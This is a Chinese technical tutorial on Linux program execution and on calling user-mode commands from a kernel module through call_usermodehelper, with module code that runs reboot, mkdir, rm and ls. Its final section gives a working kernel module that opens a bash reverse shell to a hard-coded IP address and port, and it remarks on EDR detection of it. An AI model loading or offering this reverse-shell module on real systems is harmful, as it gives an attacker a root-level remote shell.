0x00 程序怎么被执行
无论是内核态还是用户态函数最终都会执行 do_execve()
内核态 sys_execve,在 Linux 0.11 源码中,0.11/include/linux/sys.h
extern int sys_execve();fn_ptr sys_call_table[] = { sys_setup, sys_exit, sys_fork, sys_read,sys_write, sys_open, sys_close, sys_waitpid, sys_creat, sys_link,sys_unlink, sys_execve, ...};
而sys_execve底层又调用了 do_execve,其在 0.11/kernel/system_call.s 中定义
.align 2sys_execve:lea EIP(%esp), %eaxpushl %eaxcall do_execveaddl $4, %espret
do_execve是真正执行函数,在 0.11/fs/exec.c 中定义
/** do_execve() executes a new program.*/int do_execve(unsigned long *eip, long tmp, char* filename,char **argv, char **envp){if(!(inode=namei(filename))) /*get executables inode*/return -ENOENT;argc = count(argv);envc = count(envp);}
0x01 内核态调用用户态函数
在内核态可以通过 call_usermodehelpere() 函数实现对用户态函数的调用,其最终也是通过内核态函数 do_execve() 实现。
0x11 调用无输出无参数命令
示例: 调用 reboot 命令
call.c
#include <linux/kernel.h>#include <linux/module.h>#include <linux/init.h>static int __init test_init(void){int ret= -1;char path[] = "/sbin/reboot";char *argv[] = {path, NULL};char *envp[] = {NULL};printk("call_usermodehelper module isstarting..!\n");ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);printk("ret=%d\n", ret);return 0;}static void __exit test_exit(void) {}module_init(test_init);module_exit(test_exit);MODULE_LICENSE("GPL");
Makefile
obj-m += call.oall:make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modulesclean:make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean
执行
insmod call.ko
通过call_usermodehelper_setup也可以调用(call_usermodehelper_setup)用户态的函数
0x12调用无输出有参数命令
示例: 调用mkdir/rm命令
#include <linux/kernel.h>#include <linux/module.h>#include <linux/init.h>static int __init test_init(void){int ret= -1;char path[] = "/bin/mkdir";char *argv[] = {path, "-p", "/root/test", NULL};char *envp[] = {NULL};printk("call_usermodehelper module isstarting..!\n");ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);printk("ret=%d\n", ret);return 0;}static void __exit test_exit(void) {int ret= -1;char path[] = "/bin/rm";char *argv[] = {path, "-r", "/root/test", NULL};char *envp[] = {NULL};printk("call_usermodehelper module isstarting..!\n");ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);printk("ret=%d\n", ret);}module_init(test_init);module_exit(test_exit);MODULE_LICENSE("GPL");
Makefile
obj-m += call.oall:make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modulesclean:make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean
执行
insmod call.ko
0x13调用有输出有参数命令
示例: ls -la
#include <linux/kernel.h>#include <linux/module.h>#include <linux/init.h>static int __init test_init(void){int ret= -1;char path[] = "/bin/bash";char *argv[] = {path, "-c", "ls", "-la", ">", "/root/ls_output.txt", NULL};char *envp[] = {NULL};printk("call_usermodehelper module isstarting..!\n");ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);printk("test_init ret=%d\n", ret);return 0;}static void __exit test_exit(void) {int ret= -1;char path[] = "/bin/rm";char *argv[] = {path, "-r", "/root/ls_output.txt", NULL};char *envp[] = {NULL};printk("call_usermodehelper module isstarting..!\n");ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);printk("test_exit ret=%d\n", ret);}module_init(test_init);module_exit(test_exit);MODULE_LICENSE("GPL");
0x14 反弹shell
示例: 反弹shell
#include <linux/kernel.h>#include <linux/module.h>#include <linux/init.h>static int __init test_init(void){int ret= -1;char path[] = "/bin/bash";char *argv[] = {path, "-c", "bash -i >& /dev/tcp/47.111.147.96/10086 0>&1", NULL};char *envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL};printk("call_usermodehelper module isstarting..!\n");ret = call_usermodehelper(path, argv, envp, UMH_WAIT_PROC);printk("test_init ret=%d\n", ret);return 0;}static void __exit test_exit(void) {}module_init(test_init);module_exit(test_exit);MODULE_LICENSE("GPL");
虽然是在内核态调用bash进行反弹shell,但是普通EDR仍然能检测到反弹shell,因为调用的还是用户态的/bin/bash。
如果觉得《Linux内核态调用用户态函数》对你有帮助,请点赞、收藏,并留下你的观点哦!